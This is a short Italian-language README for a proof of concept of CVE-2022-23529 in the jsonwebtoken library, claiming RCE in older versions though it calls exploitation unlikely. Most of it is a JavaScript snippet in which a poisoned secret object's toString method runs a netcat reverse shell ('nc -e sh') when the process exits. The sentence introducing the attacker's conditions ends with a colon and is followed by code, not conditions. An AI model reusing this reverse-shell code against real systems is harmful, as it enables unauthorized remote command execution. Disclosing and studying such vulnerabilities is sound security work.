
CVE-2022-23529-PoC
Le versioni della libreria JSON Web Token (JWT) precedenti alla 3.4.6, alla 4.0.4 e alla 4.1.5 sono vulnerabili a RCE.
Le funzioni di hashing HMAC accettano qualsiasi stringa come input, il che porta a RCE.
A causa delle precondizioni, è improbabile che questa vulnerabilità sia sfruttabile.
Per sfruttare questa vulnerabilità, un attaccante dovrebbe soddisfare una delle seguenti condizioni:
var jwt = require('jsonwebtoken');
var token = jwt.sign({"x":"y"}, 'servers_secret');
var poisoned_secret_on_server = {
toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
process.on('exit', ()=> {
require('child_process').exec('nc -e sh 127.0.0.1 9001');
});
process.exit(0)
}
}
jwt.verify(token, poisoned_secret_on_server);